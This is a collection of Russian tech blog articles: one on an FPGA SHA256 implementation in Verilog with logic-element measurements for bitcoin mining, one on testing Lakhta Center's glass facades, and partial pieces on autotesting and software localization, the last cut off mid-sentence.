базы данных, нужно быть готовым изменить способ подключения к ней. Стек технологий должен быть как можно шире. Scrum предполагает быструю реакцию на изменения, срочное внесение исправлений. Предположим, что пользователи обнаружили некое несоответствие в работе приложения, команда разработки должна как можно быстрее отреагировать и выпустить патч. Для этого важно уметь очень точно локализовать проблему. В этом очень хорошо помогает автотестирование. Допустим у нас есть трехуровневое web-приложение: есть DB, frontend, backend. Где то в приложении есть баг. При использовании ручного тестирования поиск проблемы может занять не один день, затем проблему нужно будет исправить и вновь протестировать. При автотестировании мы запускаем регрессоное тестирование и в течение пары часов получаем полный отчет, в котором отражено точное местоположение бага.
https://habrahabr.ru/company/simbirsoft/blog/317916/
habrahabr
Можно ли вычислять биткоины быстрее, проще или легче?
['Bitcoin', 'SHA256', 'FPGA', 'алгоритм']
Все началось с того, что я решил поближе познакомиться с биткоинами. Хотелось понять, как их добывают. Статьи про биткоины и блокчейны последнее время встречаются часто, но таких, чтобы со всеми...
Все началось с того, что я решил поближе познакомиться с биткоинами. Хотелось понять, как их добывают. Статьи про биткоины и блокчейны последнее время встречаются часто, но таких, чтобы со всеми техническими подробностями, таких не очень много. Самый простой способ разобраться во всех деталях — изучить открытые исходники. Я взялся изучать Verilog исходники FPGA-майнера . Это не единственный такой проект, есть еще несколько примеров на github, и все они, хоть и разных авторов, похоже работают приблизительно по одной схеме. Вполне возможно, что автор то у них всех изначально был один, просто разные разработчики адаптируют один и тот же код под разные чипы и разные платы… По крайней мере мне так показалось… Вот и я, поизучав исходники Verilog, адаптировал проект с github к плате Марсоход3 на основе ПЛИС Altera MAX10, 50 тыс. логических элементов. Я смог запустить свой майнер и даже смог запустить процесс вычисления биткоинов, но бросил это дело через пол часа из-за бесперспективности. Слишком медленно по нынешним временам работает мой FPGA майнер. Ну и пусть. Честно говоря, меня во всем этом проекте заинтересовали не сами биткоины (ну их, эти денежные суррогаты), но скорее математическая сторона алгоритма SHA256. Вот об этом я и хотел бы поговорить. Я провел несколько экспериментов с алгоритмом SHA256, может быть результаты этих экспериментов покажутся вам интересными. Первое, что мне нужно было сделать для моих экспериментов — это написать «чистую» реализацию SHA256 на Verilog. На самом деле реализаций алгоритма SHA256 в Verilog много, хоть на том же opencores.org , хоть на github.com . Однако, мне такие реализации не подходят для экспериментов. Имеющиеся модули всегда имеют конвейерную структуру, pipeline. Казалось бы — это правильно. Только при наличии pipeline можно получить высокую скорость работы алгоритма. Алгоритм SHA256 состоит из 64 этапов обработки, так называемых «раундов». Если объем ПЛИС позволяет, то можно развернуть все 64 раунда в единую цепочку операций: вcе этапы вычислений производятся параллельно за один такт рабочей частоты. Примерно вот так: На входе алгоритма восемь 32-х битных слов состояния машины SHA256. Это регистры A, B, C, D, E, F, G, H. Сами входные данные, 512 бит, преобразутся в коэффициенты W, которые примешиваются на каждом раунде. Пока в регистры первого раунда загружаются новые слова данные, второй раунд продолжает считать данные загруженные на предыдущем такте, третий раунд продолжает считать, то, что было загружено на пред-предыдущем такте и так далее. Итоговая latency, то есть задержка результата вычислений как раз и будет 64 такта, но в целом конвейер/pipeline позволяет считать весь алгоритм за 1 такт. Если объем ПЛИС мал и не позволяет развернуть всю цепочку раундов, то ее укорачивают вдвое. Так получается уместить проект в имеющеюся ПЛИС, но и скорость вычислений естественно падает вдвое. Можно взять еще менее емкую ПЛИС и вместить туда, но придется еще укоротить pipeline и опять пострадает производительность. Как я понял, на весь Bitcoin майнер, в котором два подряд SHA256-transform нужно около 80-ти тысяч логических элементов в ПЛИС Altera/Intel. Но это я отвлекся… Итак, я хочу сделать совершенно абсурдную вещь — написать на Verilog «чистую» функцию алгоритма SHA256 без промежуточных регистров, оставить ее без конвейера. Цель у этого странного действия простая — определить реальное количество логики, необходимое для вычисления алгоритма SHA256. Мне нужна простая комбинацинная схема, которой подаешь на вход 512 бит данных (ну и 256 бит исходного состояния) и она выдает 256 бит результата. Я написал этот Verilog модуль, где-то что-то сам писал, что-то позаимствовал из других открытых источников. Мой проект «sha256-test». Вот чистая комбинационная SHA256, ни одного промежуточного регистра module e0 (x, y); input [31:0] x; output [31:0] y; assign y = {x[1:0],x[31:2]} ^ {x[12:0],x[31:13]} ^ {x[21:0],x[31:22]}; endmodule module e1 (x, y); input [31:0] x; output [31:0] y; assign y = {x[5:0],x[31:6]} ^ {x[10:0],x[31:11]} ^ {x[24:0],x[31:25]}; endmodule module ch (x, y, z, o); input [31:0] x, y, z; output [31:0] o; assign o = z ^ (x & (y ^ z)); endmodule module maj (x, y, z, o); input [31:0] x, y, z; output [31:0] o; assign o = (x & y) | (z & (x | y)); endmodule module s0 (x, y); input [31:0] x; output [31:0] y; assign y[31:29] = x[6:4] ^ x[17:15]; assign y[28:0] = {x[3:0], x[31:7]} ^ {x[14:0],x[31:18]} ^ x[31:3]; endmodule module s1 (x, y); input [31:0] x; output [31:0] y; assign y[31:22] = x[16:7] ^ x[18:9]; assign y[21:0] = {x[6:0],x[31:17]} ^ {x[8:0],x[31:19]} ^ x[31:10]; endmodule module round (idx, in, k, w, out); input [7:0]idx; input [255:0]in; input [ 31:0]k; input [ 31:0]w; output [255:0]out; always @(w) $display("i=%d k=%8x w=%8x",idx,k,w); wire [31:0]a; assign a = in[ 31: 0]; wire [31:0]b; assign b = in[ 63: 32]; wire [31:0]c; assign c = in[ 95: 64]; wire [31:0]d; assign d = in[127: 96]; wire [31:0]e; assign e = in[159:128]; wire [31:0]f; assign f = in[191:160]; wire [31:0]g; assign g = in[223:192]; wire [31:0]h; assign h = in[255:224]; wire [31:0]e0_w; e0 e0_(a,e0_w); wire [31:0]e1_w; e1 e1_(e,e1_w); wire [31:0]ch_w; ch ch_(e,f,g,ch_w); wire [31:0]mj_w; maj maj_(a,b,c,mj_w); wire [31:0]t1; assign t1 = h+w+k+ch_w+e1_w; wire [31:0]t2; assign t2 = mj_w+e0_w; wire [31:0]a_; assign a_ = t1+t2; wire [31:0]d_; assign d_ = d+t1; assign out = { g,f,e,d_,c,b,a,a_ }; endmodule module sha256_transform( input wire [255:0]state_in, input wire [511:0]data_in, output wire [255:0]state_out ); localparam Ks = { 32'h428a2f98, 32'h71374491, 32'hb5c0fbcf, 32'he9b5dba5, 32'h3956c25b, 32'h59f111f1, 32'h923f82a4, 32'hab1c5ed5, 32'hd807aa98, 32'h12835b01, 32'h243185be, 32'h550c7dc3, 32'h72be5d74, 32'h80deb1fe, 32'h9bdc06a7, 32'hc19bf174, 32'he49b69c1, 32'hefbe4786, 32'h0fc19dc6, 32'h240ca1cc, 32'h2de92c6f, 32'h4a7484aa, 32'h5cb0a9dc, 32'h76f988da, 32'h983e5152, 32'ha831c66d, 32'hb00327c8, 32'hbf597fc7, 32'hc6e00bf3, 32'hd5a79147, 32'h06ca6351, 32'h14292967, 32'h27b70a85, 32'h2e1b2138, 32'h4d2c6dfc, 32'h53380d13, 32'h650a7354, 32'h766a0abb, 32'h81c2c92e, 32'h92722c85, 32'ha2bfe8a1, 32'ha81a664b, 32'hc24b8b70, 32'hc76c51a3, 32'hd192e819, 32'hd6990624, 32'hf40e3585, 32'h106aa070, 32'h19a4c116, 32'h1e376c08, 32'h2748774c, 32'h34b0bcb5, 32'h391c0cb3, 32'h4ed8aa4a, 32'h5b9cca4f, 32'h682e6ff3, 32'h748f82ee, 32'h78a5636f, 32'h84c87814, 32'h8cc70208, 32'h90befffa, 32'ha4506ceb, 32'hbef9a3f7, 32'hc67178f2}; genvar i; generate for(i=0; i<64; i=i+1) begin : RND wire [255:0] state; wire [31:0]W; if(i<16) begin assign W = data_in[i*32+31:i*32]; end else begin wire [31:0]s0_w; s0 so_(RND[i-15].W,s0_w); wire [31:0]s1_w; s1 s1_(RND[i-2].W,s1_w); assign W = s1_w + RND[i - 7].W + s0_w + RND[i - 16].W; end if(i == 0) round R ( .idx(i[7:0]), .in(state_in), .k( Ks[32*(63-i)+31:32*(63-i)] ), .w(W), .out(state) ); else round R ( .idx(i[7:0]), .in(RND[i-1].state), .k( Ks[32*(63-i)+31:32*(63-i)] ), .w(W), .out(state) ); end endgenerate wire [31:0]a; assign a = state_in[ 31: 0]; wire [31:0]b; assign b = state_in[ 63: 32]; wire [31:0]c; assign c = state_in[ 95: 64]; wire [31:0]d; assign d = state_in[127: 96]; wire [31:0]e; assign e = state_in[159:128]; wire [31:0]f; assign f = state_in[191:160]; wire [31:0]g; assign g = state_in[223:192]; wire [31:0]h; assign h = state_in[255:224]; wire [31:0]a1; assign a1 = RND[63].state[ 31: 0]; wire [31:0]b1; assign b1 = RND[63].state[ 63: 32]; wire [31:0]c1; assign c1 = RND[63].state[ 95: 64]; wire [31:0]d1; assign d1 = RND[63].state[127: 96]; wire [31:0]e1; assign e1 = RND[63].state[159:128]; wire [31:0]f1; assign f1 = RND[63].state[191:160]; wire [31:0]g1; assign g1 = RND[63].state[223:192]; wire [31:0]h1; assign h1 = RND[63].state[255:224]; wire [31:0]a2; assign a2 = a+a1; wire [31:0]b2; assign b2 = b+b1; wire [31:0]c2; assign c2 = c+c1; wire [31:0]d2; assign d2 = d+d1; wire [31:0]e2; assign e2 = e+e1; wire [31:0]f2; assign f2 = f+f1; wire [31:0]g2; assign g2 = g+g1; wire [31:0]h2; assign h2 = h+h1; assign state_out = {h2,g2,f2,e2,d2,c2,b2,a2}; endmodule Естественно, нужно убедиться, что модуль работает. Для этого нужен простой тестбенч, чтоб подать на вход какой-то блок данных и посмотреть результат. Вот testbench Verilog `timescale 1ns/1ps module tb; initial begin $dumpfile("tb.vcd"); $dumpvars(0, tb); #100; $finish; end wire [511:0]data; assign data = 512'h66656463626139383736353433323130666564636261393837363534333231306665646362613938373635343332313066656463626139383736353433323130; wire [255:0]result; sha256_transform s( .state_in( 256'h5be0cd191f83d9ab9b05688c510e527fa54ff53a3c6ef372bb67ae856a09e667 ), .data_in(data), .state_out(result) ); endmodule Сравнивать буду с ответом, который мне выдает функция sha256_transform, написанная на языке C (можно я не будут приводить код на C? этих реализаций на C/C++ полным полно). Главное результат: Программирую на C/C++ в среде Visual Studio, а Verilog программу тестирую с помощью icarus verilog и gtkwave. Убедился, что ответы совпадают, значит можно двигаться дальше. Теперь можно вставить модуль в ПЛИС и посмотреть сколько же логических элементов может занимать такая функция. Делаем такой проект для ПЛИС: module sha256_test( input wire clk, input wire data, output wire [255:0]result ); reg [511:0]d; always @(posedge clk) d <= { d[510:0],data }; sha256_transform s0( .state_in( 256'h5be0cd191f83d9ab9b05688c510e527fa54ff53a3c6ef372bb67ae856a09e667 ), .data_in( d ), .state_out(result) ); endmodule Здесь предполагается, что входные данные задвигаются в один длинный регистр 512 бит, который подается в качестве входных данных на мою «чистую» SHA256_transform. Все 256 выходных бит выводятся наружу микросхемы на выводные пины ПЛИС. Компилирую, для FPGA Cyclone IV и вижу, что эта штука займет 30,103 логических элементов. Хорошо запомним это число: 30103 … Сделаем второй эксперимент. Проект «sha256-eliminated». module sha256_test( input wire clk, input wire data, output wire [255:0]result ); sha256_transform s0( .state_in( 256'h5be0cd191f83d9ab9b05688c510e527fa54ff53a3c6ef372bb67ae856a09e667 ), .data_in( 512'h66656463626139383736353433323130666564636261393837363534333231306665646362613938373635343332313066656463626139383736353433323130 ), .state_out(result) ); endmodule Здесь входные данные я не подаю в ПЛИС извне, а просто задаю константой, постоянным входным сигналом для модуля sha256_transform. Компилируем в ПЛИС. Знаете сколько будет задействовано логических элементов в этом случае: НОЛЬ . Среда Altera (или уже Intel? как правильно называть?) Quartus Prime оптимизирует всю логику устройства и поскольку нет никаких регистров и нет входных сигналов, от которых бы зависел результат, то вся комбинационная функция вырождается, из входных параметров модуля SHA256 вычисляется ответ прямо во время компиляции. Вы можете посмотреть выходные сигналы на пинах ПЛИС. Компилятор сразу пишет, что некоторые сигналы будут прицеплены на землю, а некоторые к VCC, к напряжению питания. Так на выходах появится вычисленный самим компилятором результат: 0x56, 0x70,… точно как в моем самом первом тестовом примере. Отсюда возникает такая мысль. Раз компилятор такой умный и может настолько хорошо оптимизировать логику, то почему бы не считать только один выходной бит от sha256? Сколько логики нужно, чтобы посчитать только один результирующий бит? В самом деле. Биткоины считаются так: есть блок данных. В блоке данных есть переменное поле, которое можно менять — это поле nonce, 32 бита. Остальные данные в блоке зафиксированы. Мы должны менять, перебирать поле nonce таким образом, чтобы результат sha256 получился «специальным», а именно, чтобы старшие биты результата sha256-transform оказались в нуле. Вот считаем sha256 один раз, потом увеличиваем nonce на единицу, опять считаем хэш, потом опять и опять. Сотни, тысячи раз один и тот же блок данных но чуть другое поле nonce. При этом вычисляются все биты результата sha256, то есть все выходные 256 бит. А выгодно ли это энергетически? Выгодно ли это по числу задействованных логических элементов? А что если посчитать только один из старших бит результата. Он думаю равновероятно будет либо ноль либо единица. Если он окажется единицей, так остальные биты и считать не нужно. Зачем на них тратить драгоценную энергию? Сделав это предположение, я для себя почему-то сразу решил, что число логических элементов для вычисления только одного бита хэша должно быть в 256 раз меньше, чем для вычисления всех бит результата. Но я ошибался. Чтобы проверить эту гипотезу я решил сделать проект для квартуса с топ модулем, который выглядит вот так: module sha256_test( input wire clk, input wire data, output wire result ); reg [511:0]d; always @(posedge clk) d <= { d[510:0],data }; wire [255:0]r; sha256_transform s0( .state_in( 256'h5be0cd191f83d9ab9b05688c510e527fa54ff53a3c6ef372bb67ae856a09e667 ), .data_in( d ), .state_out(r) ); assign result = r[187]; //номер бит, который нас интересует endmodule Обратите внимание, что вроде бы sta256_transform будет вычислять весь хэш и ответ будет в сигнале wire [255:0]r, однако, выход модуля Verilog — это только один бит, который assign result = r[187]; Это позволит компилятору эффективно оставить только ту логику, которая нужна для вычисления нужного бита. Остальное будет оптимизировано и удалено из проекта. Чтобы провести мой эксперимент мне нужно всего навсего исправлять предпоследнюю строчку и перекомпилировать проект 256 раз. Чтобы облегчить такую работу напишу скрипт для квартуса: #!/usr/bin/tclsh proc read_rpt { i frpt } { set fp [open "output_files/xxx.map.summary" r] set file_data [read $fp] close $fp set data [split $file_data "\n"] foreach line $data { set half [split $line ":"] set a [lindex $half 0] set b [lindex $half 1] if { $a == " Total combinational functions " } { puts [format "%d %s" $i $b] puts $frpt [format "%d %s" $i $b] } } } proc gen_sha256_src { i } { set fo [open "sha256_test.v" "w"] puts $fo "module sha256_test(" puts $fo " input wire clk," puts $fo " input wire data," puts $fo " output wire result" puts $fo ");" puts $fo "" puts $fo "reg \[511:0]d;" puts $fo "always @(posedge clk)" puts $fo " d <= { d\[510:0],data };" puts $fo "" puts $fo "wire \[255:0]r;" puts $fo "sha256_transform s0(" puts $fo " .state_in( 256'h5be0cd191f83d9ab9b05688c510e527fa54ff53a3c6ef372bb67ae856a09e667 )," puts $fo " .data_in( d )," puts $fo " .state_out(r)" puts $fo " );" puts $fo "" puts $fo "assign result = r\[$i];" puts $fo "" puts $fo "endmodule" close $fo } set frpt [open "rpt.txt" "w"] for {set i 0} {$i < 256} {incr i} { gen_sha256_src $i exec x.bat read_rpt $i $frpt } close $frpt exit Этот скрипт в цикле заново создает модуль sha256_test.v и каждый раз выводит на выходной пин ПЛИС очередной бит результата sha256. Запускаю скрипт на пару часов и вуаля. Есть таблица значений. Теперь мы точно знаем, какой бит из SHA256 проще всего вычислить. Вот график зависимости требуемого количества логических элементов от порядкового номера вычисляемого бита SHA256: Отсюда становится ясно, что проще всего вычислить бит номер 224. Для него требуется 27204 логических элемента. Это вообще-то почти на 10% меньше, чем при вычислении всех 256 выходных бит. График в виде пилы объясняется тем, что в алгоритме SHA256 много сумматоров. В сумматоре каждый следующий старший бит вычислить труднее, чем предыдущий младший. Это из-за схемы переноса, ведь сумматоры состоят из многих блоков full-adder. Вот уже показалась призрачная экономия энергии. Я считаю, что каждая логическая функция кушает энергию. Чем меньше число задействованных логических элементов LE в проекте ПЛИС, тем меньше потребление энергии. Предполагаемый алгоритм такой: считаем один самый простой бит, если он ноль, то считаем следующий. Если он единица, то не тратим энергию и силы и время на остальные биты в этом же хэше. Теперь другая мысль, так же связанная с возможностями компилятора оптимизировать логику. Поскольку при переборе поля nonce основные данные блока остаются одинаковыми, то, логично и очевидно, что от цикла к циклу некоторые вычисления просто повторяются и считают одно и то же. Вопрос: как оценить сколько там теряется энергии на повторных вычислениях? Эксперимент простой. Поставим, например, два модуля sha256_transform рядом и подадим на них одинаковые входные данные, ну за исключением одного бита. Считаем, что эти два модуля считают соседние nonce отличающиеся одним битом. module sha256_test( input wire clk, input wire data, output wire [1:0]result ); reg [511:0]d; always @(posedge clk) d <= { d[510:0],data }; wire [255:0]r0; sha256_transform s0( .state_in( 256'h5be0cd191f83d9ab9b05688c510e527fa54ff53a3c6ef372bb67ae856a09e667 ), .data_in( { 1'b0, d[510:0] } ), .state_out(r0) ); wire [255:0]r1; sha256_transform s1( .state_in( 256'h5be0cd191f83d9ab9b05688c510e527fa54ff53a3c6ef372bb67ae856a09e667 ), .data_in( { 1'b1, d[510:0] } ), .state_out(r1) ); assign result = { r0[224], r1[224] }; endmodule Каждый из модулей s0 и s1 считают свой хэш от одинаковых входных данных, только отличаются на один бит nonce. Из каждого забираю только самый «легкий» бит результата, бит номер 224. Сколько займет такая логика в ПЛИС? 47,805 логических элементов. Поскольку модулей два, то один занимает 47805 / 2 = 23902. Получается, что начинать считать сразу два хэша гораздо выгоднее, чем считать их по очереди за счет того, что есть общие вычисления. А если начинать считать сразу 4 хэша и только 2 бита разных на поле nonce? Получится 89009LE / 4 = 22252 LE/SHA256 А если считать 8 хэшей? Получится 171418LE / 8 = 21427 LE/SHA256 Вот можно сравнить первоначальное число 30103 логических элементов на полный SHA256_transform с выводом 256 бит результата и 21427 логических элемента на SHA256_transfrom с выводом одного бита результата (которые можно использовать для прогнозирования целесообразности дальнейших рассчетов). Мне кажется, что такими методами можно сократить потребление энергии майнера где-то почти на треть. Ну на четверть… Не знаю насколько это существенно, но кажется, что это существенно. Есть еще одна мысль. Основные данные в блоке для вычисления остаются зафикированными и во время вычисления хэша меняется только поле nonce. Если бы можно было быстро производить компиляцию для ПЛИС, то значительная часть предвычислений могла бы быть выполнена на этапе компиляции. Ведь выше я показал, как эффективно компилятор вычисляет все, что можно зараннее вычислить. Оптимизированная логика с предвычислениями будет по объему гораздо или значительно меньше, чем требуется для полного вычислителя, следовательно и энергии она будет потреблять меньше. Ну вот как-то так. На самом деле я и сам до конца не уверен в своем исследовании. Возможно я чего-то не учитываю или не понимаю. Предлагаемые методы, конечно, не дают глобального прорыва, но кое что позволяют сэкономить. Пока это все скорее теоретические рассуждения. Для практической реализации «чистая» SHA256 не годится — у нее будет слишком маленькая рабочая частота. Вводить pipeline обязательно придется. Есть еще один фактор. В реальной жизни для биткоина считаются два подряд SHA256_transform. В этом случае мой предполагаемый выигрыш по числу логических элементов и потребляемой энергии возможно окажется не таким уж значительным. Исходники проекта bitcon майнера для платы Марсоход3 с ПЛИС Altera MAX10, 50K LE здесь . Здесь же в папке research есть все исходники моих экспериментов с алгоритмом SHA256. Описание проекта майнера для ПЛИС здесь
https://habrahabr.ru/post/318174/
habrahabr
Стеклянный vs каменный — лучше, хуже или равно?
['Лахта центр', 'небоскреб', 'фасады', 'испытания']
Тема со стеклом в петербургском «Лахта центре» весьма любопытна, хотя бы потому, что стекло выполняет в башне функцию стен. Значит, должно защищать от внешней среды и быть устойчивым к...
Тема со стеклом в петербургском «Лахта центре» весьма любопытна, хотя бы потому, что стекло выполняет в башне функцию стен. Значит, должно защищать от внешней среды и быть устойчивым к деструктивному воздействию как минимум не хуже, чем традиционные материалы. Но можно ли сказать, что за фасадом «Лахта центра» — как за каменной стеной? Вопрос не праздный. Ведь все мы с детства знаем, как печально заканчиваются истории про домики, где стены сделаны из неправильных материалов… Разберемся! Архитекторы небоскребов часто делают выбор в пользу стеклянных фасадов. Потому что это: А. Красиво B. Фасад из стекла легче, чем из традиционных материалов. Хотя вес сопоставимых объемов стекла и тяжелого бетона примерно равен, стеклянного материала нужно меньше для возведения стен одной квадратуры. С. Стекло отвечает всем необходимым требованиям, предъявляемым к стенам – по прочности, теплоизоляции, защите от разнообразных внешних воздействий. Об этом и поговорим ниже. Итак, Нужно ли быть крепким орешком, чтобы разбить фасад башни В прошлом посте была отдельная дискуссия относительно прочности стеклянного фасада небоскреба. Где-то на интуитивном уровне понятно, что фасады в башне должны быть надежны, но жизненный опыт одновременно подсказывает, что стекло – все же непрочный материал. Даже лобовое на автомобиле может повредиться из-за разности температур или попадания камня. Чего уж говорить про стеклянную стену – к ней просто страшно прислониться, особенно – где-нибудь на 87 этаже. Визуализация панорамы с верхнего этажа «Лахта центра». Вы бы подошли вплотную к стеклу? Тем не менее, обсуждаемый случай – как раз тот, когда жизненный опыт ошибочен. Подобно тому, что земля все же круглая, самолет летает, не размахивая при этом крыльями, современное фасадное стекло с достоинством выдерживает попадание в него камня, температурный шок и при повреждении не дает осколков, нарушая тем самым привычное, добытое путем опытных наблюдений, представление о мире. Более того — сегодня инженеры используют стекло как конструктивный элемент, то есть, в качестве несущих структур. Первое здание с конструктивом из стекла было построено еще в прошлом веке — в 1951. Сейчас светопрозрачные крыши со стеклянными балками и арками имеют здание Народного банка в Ганновере, столовая Технологического университета в Дрездене, стеклянные колонны, каждая из которых обладает несущей способностью в 6 тонн — под крышей внутреннего двора здания городского управления в Сен-Жермен-ан-Ле. Крыша со стеклянными арками — здание Volksbank (Ганновер) Фото отсюда . Пять арок с шагом в 2,5 м, склеены из 3 листов стекла. Стальные полосы — «страховка» от обрушения в случае отказа балки. Подробнее почитать о стеклянном конструктиве можно, например, тут В качестве еще одного наглядного доказательства надежности стекла приведу пример вот такого страшного, но безопасного аттракциона: Обзорная площадка на 103 этаже Willis Tower, Чикаго. Выполнена полностью из стекла. За посетительницу можно не переживать – пол под ней имеет толщину почти 4 см., балкон выдерживает нагрузку в 5 тонн. Фасадное стекло в петербургском «Лахта центре» даже немного толще – 4,15 см. Расчетная нагрузка на фасады – 400 кг. на кв. м. Это примерно так: Смог бы разбить его Брюс Уиллис? Скорее всего, нет. А вот Майк Тайссон, с ударом в 800 кг вполне бы справился. Если вы – не Майк, то можете не только смело прислоняться к такому фасаду, но даже слегка постучать по нему стулом — как в кино не получится. Майк разбил стекло. Что дальше? Ничего страшного не произойдет. Во-первых, стеклянный фасад хоть и является стеной, несущей «роли» не играет. Можно разбить сколько угодно стекол — это никак не отразится на устойчивости конструкций башни, где несущие нагрузки распределены между железобетонным ядром и колоннами. Во-вторых, стекло, предназначенное для фасадов «Лахта центра» (и для фасадов других небоскребов), является безопасным – при повреждении оно не дает крупных или острых осколков. Оно вообще не дает осколков – вместо этого на нем образуются вмятины или трещины. Поврежденный стеклопакет в таком «помятом», но механически целостном виде дожидается своей замены. Так происходит потому, что стекло состоит из слоев, одним из которых является пленка. Эта технология называется Triplex и, думаем, известна читателям. Например, она применяется для изготовления лобовых автомобильных стекол. След от попадания камня на стекле Triplex Формула стекла и альтернативная реальность Стекла для фасадов «Лахта центра» изготовлены по многослойной формуле: стекло 8мм + 1,5 мм пленка + 8мм стекло + 16мм аргона + 8 мм стекло, итого — 4,15 см толщины. Толщину стекол можно оценить по реберной части листов Особенность внешнего слоя стекла — термоотражающие свойства. Для защиты от избытка солнечной радиации (пусть такое допущение странно звучит для климатических условий Северной столицы), на стекло нанесено специальное напыление. Оно, кстати, и придает фасадному покрытию «металлический», холодный серо-голубой оттенок. Внутренний слой стекла — каленый. Каленое стекло — это второй вид особо прочного и, при этом, безопасного стекла, которое не дает острых или крупных осколков при повреждении. Аргоновая прослойка применяется в целях повышения энергоэффективности. Теплопроводность этого газа приблизительно в 1,5 раза ниже, чем у воздуха (0,68 от теплопроводности воздуха). Хотя цифра не столь велика, но она становится весьма существенной в масштабах площади остекления здания – 72, 5 тыс. кв.м. Есть и другие приятные «мелочи» — например, большая вязкость благородного газа, уменьшающие скорость конвекции, а, следовательно, теплообмена между слоями стекла. Благодаря многослойности и аргоновой прослойке, пакет в «Лахта центре» однокамерный и нитка остекления одиночная, за исключением некоторых особых участков, о которых будет рассказано позже. Вес стеклянной части фасада составляет около 13 тыс. тонн. В случае многокамерных стеклопакетных решений вес бы существенно увеличился. Это, в свою очередь, повлияло бы на конструктивные параметры – вероятно, мы бы не увидели башню такой, какой она строится сейчас. Подопытный Инженерно-конструкторская группа «Лахта центра» относится к стеклу без всякого пиетета. Некоторые читатели в курсе, что стекло морозили и обдували, но это еще не все. Также его топили, поджигали и подсматривали за ним днем и ночью. Испытания герметичности фасадов — на площадке компании Gartner (Германия). С помощью различных приборов испытатели будут имитировать разные типы сильного дождя и их воздействие на стеклопакеты. Лабораторный участок, где проводилась проливка. Обратите внимание на легкие металлические леса. За ними расположен натурный макет фасада — несколько стеклопакетов в форме параллелограмма. Тестирование началось. Стеклопакет поливают струей воды под сильным давлением. Вода поступает из вот таких спринклеров: Спринклер не одиночный. То, что выглядело как леса, на самом деле — многочисленные ряды спринклеров: В ходе эксперимента выявлен побочный эффект — радуга): По эту сторону стекла — просто потоп: Но этого мало. Ведь что такое «дождь» без «ветра»? В бой идет вот такая установка: Она добавит ураганного ветра: Теперь за фасадом бушует целый шторм: С противоположной стороны испытатели, сухие до нитки, в отличие от их коллег снаружи, собирают показатели и фиксируют реакцию фасада на разные «погодные» условия, устойчивость стеклопакета к различным типам дождя, герметичность «обшивки» натурной модели. А вот другая серия испытаний — огнем. Тут стеклопакет будут поджигать. Натурные огневые испытания проводятся в поверхностном бетонном бункере, одна из стен которого заменена подопытным стеклом, на котором закреплены датчики: В ходе первой части будут тестировать реакцию стекла на пожар при работающей системе пожаротушения. Внутри помещения все готово к поджогу: Защищать фасад будут вот эти спринклеры: Поехали! Уже через несколько минут внутри бетонной кабины бушует огонь… И вода… Спринклеры работают — на фото можно увидеть скопление влаги на раме: А вот температура фасада при работающей системе пожаротушения. Разные датчики на разных временных точках фиксируют 18-20 градусов на наружной поверхности стекла, выше температура не растет. Результат очень хороший. Вторая часть испытаний — для подтверждения предела термостойкости стекол. Тут систему пожаротушения выключают и фиксируют максимальные температуры, при которых стекло сохраняет свою целостность, а также — другие свойства без необратимых изменений: Свыше 600 градусов — хороший показатель. Примерно такой же — у специализированного каминного стекла. Наконец, еще одно натурное моделирование было проведено для того чтобы оценить эстетические свойства фасада. Сегодня на площадке для моделирования, которая расположена рядом со стройкой, не протолкнуться — там и сетки, и образцы тротуарных покрытий, и варианты оболочки планетария… Но вот этот макет: … появился на площадке самым первым, почти полтора года назад. В него вставлялись и менялись разные образцы стекол. Группа проектировщиков наблюдала за тем, как выглядит стекло и как оно себя ведет в разных погодных условиях, в разные сезоны и время суток — и днем, и ночью. Благодаря напылению и тому, что стекло на фасадах — «просветленное», т.е. с минимально возможным содержание «желтящего» оксида железа (менее 0,015 против обычных 0,6-0,8), башня при разном освещении выглядит в холодной гамме. Оттенки зависят от освещенности. Например, днем при ярком солнце и отражении неба — стекла синие: В пасмурную погоду грани фасада могут выглядеть как серые и бронзовые: На расцвете и закате в ясную малооблачную погоду наблюдатели могут застать еще один необычный оттенок — красно-фиолетовый: И все же большую часть времени башня — серо-синего цвета, органично сливающегося с нашим северным небом и гладью холодного Финского залива. Все эти серии испытаний — на огонь, воду и красоту, подтвердили соответствие фасадных конструкций заданным проектным параметрам. Как видите, стеклянные фасады могут быть прочными, безопасными, теплыми и красивыми стенами. Наше мнение — лучше камня. В следующем посте расскажем о том, как достигается эстетический эффект остекления без граней, и как монтируют фасады башни.
https://geektimes.ru/company/lakhta_center/blog/283836/
habrahabr
7 шагов к локализации ПО
['локализация', 'локализация интерфейса', 'разработка по', 'iot', 'интернет вещей']
Компании постоянно ищут пути расширения своего бизнеса, и одним из типичных способов увеличения рынка сбыта является создание локализованных версий программного обеспечения для различных рынков по...
Компании постоянно ищут пути расширения своего бизнеса, и одним из типичных способов увеличения рынка сбыта является создание локализованных версий программного обеспечения для различных рынков по всему миру. В теории, это просто. Однако, существует множество подводных камней от неверно переведенного текста до внезапно переставшей работать программы. Как избежать «трудностей перевода»? Закладывайте время на тестирование Всегда планируйте локализацию задолго до выпуска продута, чтобы избежать спешки в последнюю минуту. Во время составления плана по выпуску продукта, компании должны сразу закладывать время на тестирование локализованного ПО. Локализованные версии должны быть протестированы также тщательно как и версии на языке оригинала. Полное регрессивное тестирование всех версий является неотъемлемым элементом для создания качественного продукта. Создайте пошаговый план тестирования Пошаговый план для тестирования оригинальной версии должен также применяться для тестирования локализованного ПО. UI-диалоги и производительность должны быть протестированы и тем самым предотвратят задержки в тестировании для компании. В идеале, каждый перевод должен быть проверен носителем языка для избежания языковых ошибок. При локализации на следующие критические области необходимо обратить особое внимание: Форматы даты и времени (включая числовые форматы) Валюта Раскладка клавиатуры Способы сортировки, выравнивания и склейки данных Цветовые схемы, символы и иконки Текст или изображения, которые могут выглядеть неуместными в культурном контексте Правовые ограничения Кодировка строки должна иметь возможность локализации Во время написания системного кода всегда лучше использовать Unicode с самого начала. Таким образом можно предотвратить искажение текста и сэкономить время на исправление ошибок. Необходимо оставлять дополнительное место для расширения текста Разница в длине текста на разных языках может составлять десятки, поэтому текстовые окна должны быть спроектированы таким образом, чтобы вместить при необходимости дополнительный текст. Таким образом, при переключении между языками, переведенный текст впишется в пользовательский интерфейс. Для избавления от жестко заданных строк используйте технику псевдо-локализации Работая с отдельной веткой проекта, лучше использовать повторяющиеся символы для замены текстовых строк. При использовании этой техники легко обнаружить все жестко прописанные элементы поиском по таблице текстовых элементов. Убедитесь, что локализация ПО и справочной системы происходят одновременно Имеет смысл прибегнуть к услугам опытных переводчиков, чтобы одновременно перевести ПО и подсказки. Такой подход обеспечит полноту и точность перевода как ПО, так и дополнительной документации. Убедитесь, что ПО, предоставленное третьей стороной, также переведено Поставщики программного обеспечения и производители устройств ищут способы по интеграции ПО, производимого третьей стороной в их 